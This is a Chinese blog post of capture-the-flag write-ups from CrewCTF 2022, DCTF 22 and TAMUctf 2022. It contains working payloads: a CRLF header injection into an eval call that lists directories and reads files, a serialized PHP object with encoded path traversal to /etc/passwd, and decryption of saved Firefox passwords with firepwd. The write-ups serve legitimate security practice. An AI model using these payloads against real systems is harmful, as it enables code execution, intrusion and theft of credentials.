CrewCTF 2022 + DCTF 22 + TAMUctf 2022 一些writeup
本文来自csdn的??shu天??，平时会记录ctf、取证和渗透相关的文章，欢迎大家来我的主页：shu天_CSDN博客-ctf,取证,web领域博主：blog.csdn.net/weixin_46081055 看看ヾ(＠ ?ω? ＠)ノ！！
CrewCTF 2022
web - CuaaS
(难绷，这个图是我最后补截的，一激动flag粘框里头去了，懒得再截了)
给了源码
index.php
<?php
if($_SERVER['REQUEST_METHOD'] == "POST" and isset($_POST['url']))
{
clean_and_send($_POST['url']); //输入的url传给clean_and_send处理
}
function clean_and_send($url){
$uncleanedURL = $url; // should be not used anymore（这是原本的注释提示，$uncleanedURL应该是突破口
$values = parse_url($url);
$host = explode('/',$values['host']);
$query = $host[0];
$data = array('host'=>$query);
$cleanerurl = "http://127.0.0.1/cleaner.php";
$stream = file_get_contents($cleanerurl, true, stream_context_create(['http' => [
'method' => 'POST',
'header' => "X-Original-URL: $uncleanedURL", //直接将$uncleanedURL http传给cleaner.php
'content' => http_build_query($data)
]
]));
echo $stream;
}
?>
cleaner.php
<?php
if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1"){ //只允许本地访问
die("<img src='https://imgur.com/x7BCUsr.png'>");
}
echo "<br>There your cleaned url: ".$_POST['host'];
echo "<br>Thank you For Using our Service!";
function tryandeval($value){
echo "<br>How many you visited us ";
eval($value); //命令执行处
}
foreach (getallheaders() as $name => $value) { //getallheaders()在apache中使用，接受http请求头信息，可以看www.cnblogs.com/woods1815/p/9940823.html
if ($name == "X-Visited-Before"){
tryandeval($value);
}}
?>
http的构造传输让人想起CRLF攻击
思路：index.php中$uncleanedURL构造X-Visited-Before:\$value，在cleaner.php的tryandeval函数中执行
payload:
url=1%0d%0aX-Visited-Before:print_r(scandir('/'));%0d%0a
flag在/maybethisistheflag
url=1%0d%0aX-Visited-Before:highlight_file('/maybethisistheflag');%0d%0a
DCTF 22
(这个小龙真的好可爱)
Forensics - Hidden Fox
I let Firefox save some of my stuff while browsing, it should be written somewhere in it’s directory, can you find it? Flag is in two parts.
Author: Pixel#1111
附件给了个压缩包，有火狐浏览器的配置文件和用户文件
浏览记录里面有一部分flag _th15_p455w0rd}
在 Firefox\Profiles\br873ssy.default-release\places.sqlite的moz_places表
另一半在登陆密码里面，需要利用key4.db和logins.json解密，脚本github.com/lclevy/firepwd
python3 firepwd.py -d /home/kali/Desktop/firepwd-master/Firefox/Profiles/br873ssy.default-release/
flag为 dctf{1_b00km4rk3d_th15_p455w0rd}
其实表单里面还存了一坨贼像flag的，给我整半天
TAMUctf 2022
web - Lock Out
I seem to have locked myself out of my admin panel! Can you find a way back in for me?
抓登陆口的包，根据返回的源码传参得到flag
?PrintFlag=PrintFlag
web - Serial Killer
I’m trying a new way to display files on my website. Can you try to break it for me?
Tip: The flag is located in the /etc/passwd file.
利用PHPSESSI进行LFI，（…/被过滤，url编码绕过）
O:7:"GetPage":1:{s:4:"file";s:35:"%2e%2e%2f%2e%2e%2f%2e%2e/etc/passwd";}
↓base64
Tzo3OiJHZXRQYWdlIjoxOntzOjQ6ImZpbGUiO3M6MzU6IiUyZSUyZSUyZiUyZSUyZSUyZiUyZSUyZS9ldGMvcGFzc3dkIjt9
这个比赛500分左右的取证真的很难，但是我ctftime蹲了几天都没蹲到wp，之后有缘再复现好了 ctftime.org/event/1557/tasks/
本文来自csdn的??shu天??，平时会记录ctf、取证和渗透相关的文章，欢迎大家来我的主页：shu天_CSDN博客-ctf,取证,web领域博主：blog.csdn.net/weixin_46081055 看看ヾ(＠ ?ω? ＠)ノ！！
